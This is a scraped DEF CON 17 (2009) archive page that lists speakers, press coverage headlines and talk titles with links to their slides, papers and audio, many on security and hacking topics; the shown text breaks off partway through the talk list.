Audio, Video, Slides, Art

    * Tools Released  
Tools Released at DEF CON

    * Press Archives  
What They've Said About Us

    * Other Video  
Hacking Related Video

  * Blogs  
Musings of DT & Community

    * Dark Tangents  
Blog of DT Himself

    * DEF CON User Blogs  
User Blogs on DC Forums

  * <img src='img/Temp2_1818.png' alt='DEFCON RSS Feed' /> <img src='img/Temp2_1814.png' alt='DEFCON Pics' /> <img src='img/Temp2_1819.png' alt='DEFCON Twitter' /> <img src='img/Temp2_1816.png' alt='DEFCON Delicious Page' /> <img src='img/Temp2_1813.png' alt='DEFCON LinkedIn Group' /> <img src='img/Temp2_1817.png' alt='DEFCON Facebook Page' />

# DEF CON 17 Archive

  * Skip to DEF CON:
  * 1
  * 2
  * 3
  * 4
  * 5
  * 6
  * 7
  * 8
  * 9
  * 10
  * 11
  * 12
  * 13
  * 14
  * 15
  * 16
  * 17

### Speakers

* * *
  * A  
  

  * Joshua "Jabra" Abraham
  * Steven Adair
  * Sudhir Aggarwal
  * MD Sohail Ahmad
  * Larry Aiello
  * Chema Alonso
  * Dmitri Alperovitch
  * Colin Ames
  * Iftach Ian Amit
  * Alek Amrani \(1, 2\)
  * Ryan Anguiano
  * Anonymous Speaker
  * Jake Appelbaum
  * James "Myrcurial" Arlen
  * Nicholas Arvanitis
  * David Aslanian
  *   
B  
  

  * Andrea Barisani
  * Mike "mckt" Bailey
  * Taylor Banks "Dr Kaos"
  * Kevin Bankston
  * Jay Beale
  * Rod Beckstrom
  * Beth
  * Daniele Bianco
  * Keith Biddulph
  * Tomer Bitton
  * Tobias Bluzmanis
  * Sam Bowne
  * Sean Boyce
  * Michael Brooks
  * K.C. Budd "Phreakmonkey"
  *   
C  
  

  * Joey Calca
  * Mario Ceballos
  * Corentin Chéron
  * Robert Clark
  * Sandy Clark "Mouse"
  * Steve Clement
  * Mike Cooper
  * cough
  *   
D  
  

  * Datagram
  * Sherri Davidoff
  * Dead Addict \(1, 2\)
  * Da Beave
  * Dino Dai Zovi
  * Michael L. Davis
  * Steve Davis
  * Rob "Padre" DeGulielmo
  * Deviant Ollam
  * Prabhash Dhyani
  * Digividual \(1, 2\)
  * Frank DiMaggio
  * Roger Dingledine
  * Brandon Dixon
  * I\)ruid
  * Kristie Dunker
  * Steve Dunker
  * Muhaimin Dzulfakar
  *   
E  
  

  * Peter Eckersley
  * Luiz "effffn" Eduardo
  * Egypt
  * Endgrain
  * Bosse Eriksson
  * Kevin Estis
  * Tom Eston
  * etd
  *   
F  
  

  * Nick Farr
  * Matt Fiddler
  * Damian Finol
  * Gregory Fleischer
  * Matt Flick
  * Tony Flick
  * Nick Freeman
  * FX
  *   
G  
  

  * Antoine Gademer
  * Chris Gates
  * Efstratios L. Gavas
  * Goldy
  * Travis Goodspeed \(1, 2\)
  * Joe Grand \(1,2,3\)
  * Jennifer Granick \(1, 2, 3\)
  * Peter Gutmann
  *   
H  
  

  * Nathan Hamiel
  * Robert "RSnake" Hansen \(1, 2\)
  * Nick Harbour
  * John Hering
  * Sho Ho
  * Marcia Hofmann
  * Dr. Thomas J. Holt
  * Leigh Honeywell
  *   
I  
  

  * Jibran Ilyas
  *   
J  
  

  * Stephen 'afterburn' Janansky
  * JFalcon
  * jhind
  * Pedro "hkm" Joaquin
  * Kevin Johnson \(1, 2\)
  * Grant Jordan
  *   
K  
  

  * Dan Kaminsky \(1, 2\)
  * Kenshoto
  * Dave Kerb
  * Mike Kershaw
  * Fouad Kiamilev
  * Jon R. Kibler
  * Dr. Max Kilger
  * Itzik Kotler
  * Matt Krick "DCFluX"
  * Righter Kunkel
  * Lee Kushner
  *   
L  
  

  * Ava Latrope
  * Ricky Lawshae
  * Robert F. Lentz
  * Lorie M. Liebrock
  * Michael Ligh
  * Anthony Lineberry
  * Roberto Suggi Liverani
  * Lockheed
  * Fred Von Lohmann
  * Logan Lodge
  * Johnny Long
  * George Louthan
  * James Luedke
  *   
M  
  

  * Kevin Mahaffey
  * Josh Marks
  * Moxie Marlinspike
  * David Maynor \(1, 2\)
  * Rodney McGee
  * Russ McRee
  * Joseph McCray
  * Haroon Meer
  * Douglas C. Merrill
  * Erez Metula
  * Rich Mogull
  * HD Moore \(1, 2, 3\)
  * Christopher Mooney
  * David Mortman
  * Scott Moulton
  * Shawn Moyer
  * Mike Murray \(1, 2\)
  * James "Myrcurial" Arlen
  *   
N  
  

  * Ne0nRa1n
  * Noid \(1, 2\)
  *   
0  
  

  * Kurt Opsahl
  * Michael Ossmann
  * Jason Ostrom
  *   
P  
  

  * Chris Paget
  * Jose Palazon "Palako"
  * Nicholas J. Percoco
  * Larry Pesce
  * Pierce
  * Tyler Pitchford, Esq.
  * Cody Pollet
  * Bruce Potter
  * Pratap Prabhu
  * Psifertex
  *   
Q  
  

  * Danny Quist
  *   
R  
  

  * Tiffany Rad \(1, 2\)
  * Daniel Raygoza
  * Tyler Reguly
  * Rob Rehrig
  * Paul F. Renda
  * RenderMan
  * Jim Rennie
  * Matt Richard \(1, 2\)
  * Randy Robbins
  * Nicolle Neulist "RogueClown"
  * David Rook
  * Jon Rose
  * Antonio "Tony" Rucci
  *   
S  
  

  * Arjun Sambamoorthy
  * Marcus Sachs
  * Adam Savage
  * Michael "theprez98" Schearer
  * Jason Schlesinger
  * Phyllis Schneck
  * Bruce Schneier
  * Michael Schrenk
  * Jason Scott
  * Justin Searle \(1, 2\)
  * Sumit Siddharth
  * Peter Silberman
  * Ed Skoudis
  * Marco Slaviero
  * Dr. Olga Smirnova
  * Yingbo Song
  * Dominic Spill
  * Mark Steward
  * Salvatore J. Stolfo
  * Jayson E. Street
  * Dr. Debora Strumsky
  *   
T  
  

  * Mark Ryan Del Moral Talabis
  * Chris Tarnovsky
  * Sean "Frank^2" Taylor
  * Richard Thieme \(1, 2\)
  * TK234
  * Marc Weber Tobias
  * Efrain Torres
  * Tottenkoph
  *   
V  
  

  * Valsmith
  * Charlie Vedaa
  * Rafael Dominguez Vega
  * Videoman
  * Fred von Lohmann
  *   
W  
  

  * Nick Waite
  * Matt Weir
  * Thomas Wilhelm
  *   
Y  
  

  * Jeff Yestrumskas
  *   
Z  
  

  * Edward Zaborowski
  * Zoz
  * Mike Zusman
  *   
Panels  
  

  * DEF CON 101 \(Thursday\)
  * Ask EFF
  * Meet the Fed

### Highlights

* * *
###

  

#### DEF CON 17 Program

Lost your program? Didn't pick one up? Couldn't make it to the con? Here it
is\!  
\(Coming Soon\)  
  

#### DEF CON 17 Closing Ceremonies

Video and audio of the DEF CON 17 Closing Ceremonies  
Video  
Audio  
  

#### Contest Results

May be found on the DEF CON 17 Contest Results page  
  

#### Audio/Video RSS Feeds

Speaker & Slides  
Slides  
Audio  
  

#### DEF CON 17 CD

Download ISO \(RAR\)  
  

#### DEF CON 17 Website

DEF CON 17 Site  
  

### Press

* * *
###

  

  * #### Access Control 
  * Electronic High-Security Locks Easily Defeated at DefCon \- WIRED -Threat Level
  * Open Sesame\! Network Attack Literally Unlocks Doors \- WIRED -Threat Level
  * #### Badge 
  * Exclusive Peek Inside DEF CON's High-Tech Badge \- WIRED -Threat Level
  * Hacking The DEF CON 17 Badges \- WIRED -Threat Level
  * Photos: Defcon badge inspires hacks \- CNET
  * #### Browser Sniffing 
  * A Browser's View of Your Computer \- MIT Technology Review
  * #### Credit Hacking 
  * DefCon: ‘Credit Hackers’ Win the Credit Card Game … Legally \- WIRED -Threat Level
  * #### CSRF 
  * cPanel, Netgear and Linksys susceptible to nasty attack \- The Register
  * #### Fake ATM 
  * Fake ATM doesn't last long at hacker meet \- IDG News
  * Hackers spot fake ATM. Could you? \- Internet News
  * #### Feds 
  * Defense Department eyes hacker con for new recruits \- IDG News
  * Hackers: Uncle Sam \(still\) wants you\! \- Internet News
  * #### Hacking Sleep 
  * Hacking Sleep \- Forbes
  * #### Espionage 
  * Korean 'journalists' booted from Defcon \- IDG News
  * #### IP Video Hijacking 
  * Researchers Hack IP Video \- Dark Reading
  * Researchers offer tools for eavesdropping and video hijacking \- CNet News - InSecurity Complex
  * Security Camera Hack Conceals Heists Behind Dummy Video \- WIRED -Threat Level
  * Surveillance camera hack swaps live feed with spoof video \- The Register
  * #### Social Engineering 
  * Defcon air traffic control hacker: Excuse me while I change your aircraft’s flight plan \- Venturebeat
  * #### Misc 
  * Hack-Proofing The Hackers \- Forbes
  * #### MMORPG Expolits 
  * Hackers Game a Multiplayer World \- MIT Technology Review
  * #### Mystery Challenge 
  * DEF CON 17 Mystery Challenge \- WIRED -Threat Level
  * Mystery Challenge - DEF CON 17 \- Security Ripcord
  * #### NOC 
  * Inside The World's Most Hostile Network \- WIRED -Threat Level
  * #### Overview 
  * At Black Hat and Defcon, hackers talk shop \- CNET
  * Ax0n's DEF CON 17 Wrap-up \- HIR Information Report
  * DEF CON 17 \- The Pulse Review
  * Defcon 17 hacks into Vegas \- Las Vegas Weekly
  * Defcon: What to leave at home and other do's and don'ts \- CNET
  * Hacking, Lock-Picking, Booze and Bacon: DEF CON 17 In Review \- WIRED -Threat Level
  * Hanging with hackers can make you paranoid \- CNN
  * #### RFID 
  * Feds at DefCon Alarmed After RFIDs Scanned \- WIRED -Threat Level
  * Fed's RFIDiocy pwnd at DEF CON \- ZDNet Blog
  * #### Social Networks 
  * Twitter: More Secure Than You Think \- Forbes
  * #### SSL Hijacking 
  * Dan Kaminsky Feels a disturbance in The Internet \- SemiAccurate
  * Hackers expose weakness in visiting trusted sites \- Associated Press
  * Researcher Exposes Flaws In Certificate Authority Web Applications \- Dark Reading
  * Secure Browsing Takes A Beating \- Forbes
  * #### UAV 
  * Boffins showcase do-it-yourself flying spy drone \- The Register
  * #### Software Update MITM 
  * Defcon: New Hack Hijacks Application Updates Via WiFi \- Dark Reading
  * Software Updates Vulnerable To Hijacking \- Information Week
  * Using Software Updates to Spread Malware \- CBS News

<img src='img/Temp2_1815.png' alt='Defcon 17' />

### was July 30 - August 2, 2009 at the Riviera Hotel and Casino.

  

## Speakers & Presentations

encoded in h.264 from original .mov \(Video iPod friendly\)

* * *
HighWiz, The Dark Tangent, Russr, DJ Jackalope, Deviant Ollam, Thorn,
ThePrez98, LosT, Noid, Siviak

### DEF CON 101

See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Joshua "Jabra" Abraham, Robert "RSnake" Hansen

### Unmasking You

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
MD Sohail Ahmad, Prabhash Dhyani

### Wi-Fish Finder: Who Will Bite the Bait

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Chema Alonso, Jose Palazon "Palako"

### Tactical Fingerprinting Using Metadata, Hidden Info and Lost Data

Read It\! \(PDF | White Paper\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Dmitri Alperovitch, Marcus Sachs, Phyllis Schneck, Ed Skoudis

### Preparing for Cyber War: Strategy and Force Posture in the Information-
Centric World

See it\! \(m4v video\) Hear it\! \(m4b audio\)

return to top

* * *
Iftach Ian Amit

### Down the Rabbit Hole: Uncovering a Criminal Server

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Alek Amrani UPDATED

### Pre-Con Introduction to Lock Picking

return to top

* * *
Alek Amrani UPDATED

### Session Donation

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
James "Myrcurial" Arlen, Tiffany Rad

### Your Mind: Legal Status, Rights and Securing Yourself

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Mike "mckt" Bailey, Russ McRee

### CSRF: Yeah, It Still Works

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Andrea Barisani, Daniele Bianco

### Sniff Keystrokes With Lasers/Voltmeters - Side Channel Attacks Using
Optical Sampling Of Mechanical Energy And Power Line Leakage

Read It\! \(PDF | White Paper\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Jay Beale, Justin Searle

### The Middler 2.0: It's Not Just for Web Apps Anymore

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Antoine Gademer, Corentin Chéron

### A Low Cost Spying Quadrotor for Global security Applications Using Hacked
Commercial Digital Camera

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Rod Beckstrom

### Beckstrom's Law - A Model for Valuing Networks and Security

See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Beth, Noid, Nick Farr, Leigh Honeywell, Steve Clement UPDATED

### Robot Shark Laser\! What Hackerspaces Do

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Sam Bowne

### Hijacking Web 2.0 Sites with SSLstrip—Hands-on Training

Read It\! \(PDF | White Paper\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Sean Boyce

### Design and Implementation of a Quantum True Random Number Generator

Read It\! \(PDF\) Extras \(ZIP\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Michael Brooks, David Aslanian

### BitTorrent Hacks

Read It\! \(PDF\) Extras \(TAR.BZ2\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
K.C. Budd "Phreakmonkey", Taylor Banks "Dr Kaos" UPDATED

### Old Skool Brought Back: A 1964 Modem Demo

Read It\! \(PDF\) Extras \(ZIP\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Joey Calca, Ryan Anguiano

### Hadoop: Apache's Open Source Implementation of Google's MapReduce
Framework

Read It\! \(PDF\) Extras \(ZIP\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Robert Clark

### Computer and Internet Security Law - A Year in Review 2008 - 2009

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Sandy Clark "Mouse"

### De Gustibus, or Hacking your Tastebuds

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Cough

### Confidence Game Theater

Read It\! \(PDF\) See it\! \(m4v Video\) Hear it\! \(m4b audio\)

return to top

* * *
Datagram

### Lockpicking Forensics

Read It\! \(PDF | White Paper\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Sherri Davidoff

### Death of Anonymous Travel

See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Dead Addict

### Unfair Use - Speculations on the Future of Piracy

See it\! \(m4v video\) Hear it\! \(m4b audio\)

return to top

* * *
Dead Addict

### DEF CON 1 - A Personal Account

See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Da Beave, JFalcon

### AAPL- Automated Analog Telephone Logging

Read It\! \(PDF\) Extras \(ZIP\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Dino Dai Zovi

### Macsploitation with Metasploit

See Metasploit Track for video and audio.

return to top

* * *
Michael L. Davis UPDATED

### Who Invented the Proximity Card?

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Rob "Padre" DeGulielmo UPDATED

### Con Kung-Fu: Defending Yourself @ DEF CON

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Deviant Ollam

### Packing and the Friendly Skies \(Why Transporting your Firearms may be the
best way to Safeguard your Tech when you Fly\)

Read It\! \(PDF\) Extras \(ZIP\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Digividual

### Sharepoint 2007 Knowledge Network Exposed

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Digividual

### Socially Owned in the Cloud

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Roger Dingledine

### Why Tor is Slow, and What We're Doing About It

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Brandon Dixon

### Attacking SMS. It's No Longer Your BFF

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
I\)ruid

### MSF Telephony

See Metasploit Track for video and audio.

return to top

* * *
Steve Dunker, Kristie Dunker

### Personal Survival Preparedness

Read It\! \(PDF\) Extras \(ZIP\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Muhaimin Dzulfakar

### Advanced MySQL Exploitation

Read It\! \(PDF | White Paper\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Luiz "effffn" Eduardo

### 30k Feet Look at WiFi

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Egypt UPDATED

### Using Guided Missiles in Drive-Bys: Automatic browser fingerprinting and
exploitation with Metasploit

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Endgrain, Tiffany Rad, Dan Kaminsky

### Hello, My Name is /hostname/

See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Bosse Eriksson UPDATED

### Runtime Kernel Patching on Mac OS X

Read It\! \(PDF\) Extras \(TAR.GZ\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Kevin Estis, Randy Robbins UPDATED

### Hacking the Apple TV and Where your Forensic Data Lives

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Tom Eston, Kevin Johnson

### Social Zombies: Your Friends Want to Eat Your Brains

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
etd UPDATED

### Dradis Framework - Sharing Information will get you Root

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Damian Finol

### Cracking the Poor and the Rich: Discovering the Relationship Between
Physical and Network Security

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Gregory Fleischer

### Attacking Tor at the Application Layer

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Tony Flick

### Hacking the Smart Grid

Read It\! \(PDF | White Paper\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
FX

### Router Exploitation

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Chris Gates, Mario Ceballos

### Breaking the "Unbreakable" Oracle with Metasploit

Read It\! \(PDF | White Paper\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Efstratios L. Gavas UPDATED

### Asymmetric Defense: How to Fight Off the NSA Red Team with Five People or
Less

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Travis Goodspeed

### Locally Exploiting Wireless Sensors

Extras \(ZIP\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Goldy, Pierce

### Introduction to WiMAX Hacking

See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Travis Goodspeed

### An Open JTAG Debugger

See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Joe Grand \(Kingpin\) & The Dark Tangent UPDATED

### Welcome to Defcon 17 with Dark Tangent and the Making of & Hacking the
DC17 Badge

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Joe Grand \(Kingpin\), Zoz

### The Projects of "Prototype This\!"

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Joe "Kingpin" Grand, Jake Appelbaum, Chris Tarnovsky

### "Smart" Parking Meter Implementations, Globalism, and You  
\(aka Meter Maids Eat Their Young\)

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Jennifer Granick UPDATED

### The Year In Computer Crime Cases

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Peter Gutmann

### The Psychology of Security Unusability

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Nick Harbour

### Win at Reversing: Tracing and Sandboxing through Inline Hooking

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Sho Ho

### FOE — Feeding Controversial News to Censored Countries \(Without Using
Proxy Servers\)

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Dr. Thomas J. Holt, Dr. Max Kilger, Dr. Debora Strumsky, Dr. Olga Smirnova  

### Identifying, Exploring, and Predicting Threats in the Russian Hacker
Community

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Stephen 'afterburn' Janansky, Nick Waite

### Hardware Trojans: Infiltrating the Faraday Cage

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
jhind

### Catching DNS Tunnels with AI - A Talk About Artificial Intelligence,
Geometry and Malicious Network Traffic

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Pedro "hkm" Joaquin UPDATED

### Attacks Against 2wire Residential Gateways

Read It\! \(PDF\) Extras \(ZIP\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Kevin Johnson, Justin Searle, Frank DiMaggio

### Injectable Exploits: Two New Tools for Pwning Web Apps and Browsers

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Grant Jordan UPDATED

### Stealing Profits from Stock Market Spammers or: How I learned to Stop
Worrying and Love the Spam

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Dan Kaminsky

### Something about Network Security

See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Kenshoto

### WarGamez Redux

See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Mike Kershaw

### MSF Wifi

See Metasploit Track for video and audio.

return to top

* * *
Dr. Fouad Kiamilev, Rodney McGee

### Hardware Black Magic - Building devices with FPGAs

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Jon R. Kibler, Mike Cooper UPDATED

### Hack The Textbook

Read It\! \(PDF\) Extras \(KEY\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Itzik Kotler, Tomer Bitton

### The Day of the Updates

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Matt Krick "DCFluX"

### DCFluX in: The Man with the Soldering Gun

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Righter Kunkel

### Air Traffic Control: Insecurity and ADS-B

Read It\! \(PDF\) Extras \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Lee Kushner, Mike Murray

### Effective Information Security Career Planning

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Ava Latrope

### eXercise in Messaging and Presence Pwnage

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Ricky Lawshae

### Picking Electronic Locks Using TCP Sequence Prediction

Read It\! \(PDF | White Paper\) Extras \(ZIP\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Robert F. Lentz

### Perspective of the DoD Chief Security Officer

See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Michael Ligh, Matthew Richard

### Making Fun of Your Malware

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Roberto Suggi Liverani, Nick Freeman UPDATED

### Abusing Firefox Addons

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Lockheed

### DC Network Session

See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Fred Von Lohmann, Jennifer Granick

### Jailbreaking and the Law of Reversing

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Johnny Long

### three point Oh.

See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
George Louthan, Cody Pollet UPDATED

### Hack like the Movie Stars: A Big-Screen Multi-Touch Network Monitor

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Kevin Mahaffey, John Hering, Anthony Lineberry

### Is your Iphone Pwned? Auditing, Attacking and Defending Mobile Devices

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Josh Marks, Rob Rehrig, Larry Aiello

### Hacking the Wiimote and Wii Fit to Help the Disabled

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Moxie Marlinspike

### More Tricks For Defeating SSL

See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
David Maynor

### App Assessment the Metasploit Way

See Metasploit Track for video and audio.

return to top

* * *
Joseph McCray

### Advanced SQL Injection

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Haroon Meer, Marco Slaviero, Nicholas Arvanitis UPDATED

### Clobbering the Cloud

Read It\! \(PDF\) Extras \(ZIP\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Douglas C. Merrill

### Is That You, Baby, or Just a Bridge in the Sky?

See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Including talks by: |\)ruid, H.D. Moore, Mike Kershaw, David Maynor, Dino Dai
Zovi, Peter Silberman, and Steve Davis

### MetaSploit Track

See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Erez Metula UPDATED

### Managed Code Rootkits - Hooking into Runtime Environments

Read It\! \(PDF | White Paper\) Extras \(ZIP\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Christopher Mooney, James Luedke

### Subverting the World Of Warcraft API

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
H.D. Moore

### Metasploit Evolved

See Metasploit Track for video and audio.

return to top

* * *
H.D. Moore

### Meterpreter Advances

See Metasploit Track for video and audio.

return to top

* * *
H.D. Moore

### Hacking the Next Internet

See Metasploit Track for video and audio.

return to top

* * *
David Mortman, Rich Mogull, Dave Maynor, Larry Pesce, Robert "RSnake" Hansen

### Defcon Security Jam 2: The Fails Keep on Coming

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Scott Moulton

### RAID Recovery: Recover your PORN by Sight and Sound

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Shawn Moyer, Nathan Hamiel

### Weaponizing the Web: New Attacks on User-generated Content

Read It\! \(PDF | White Paper\) Extras \(ZIP\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Mike Murray, Tyler Reguly

### Slight of Mind: Magic and Social Engineering

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Ne0nRa1n, Keith Biddulph

### Hacking Sleep: How to Build Your Very Own Sleep Lab

Read It\! \(PDF 1, 2\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Jason Ostrom, Arjun Sambamoorthy UPDATED

### Advancing Video Application Attacks with Video Interception, Recording,
and Replay

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Chris Paget

### RFID MythBusting

See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Nicholas J. Percoco , Jibran Ilyas UPDATED

### Malware Freak Show

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Tyler Pitchford, Esq.

### Search And Seizure Explained - They Took My Laptop\!

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Bruce Potter, Logan Lodge

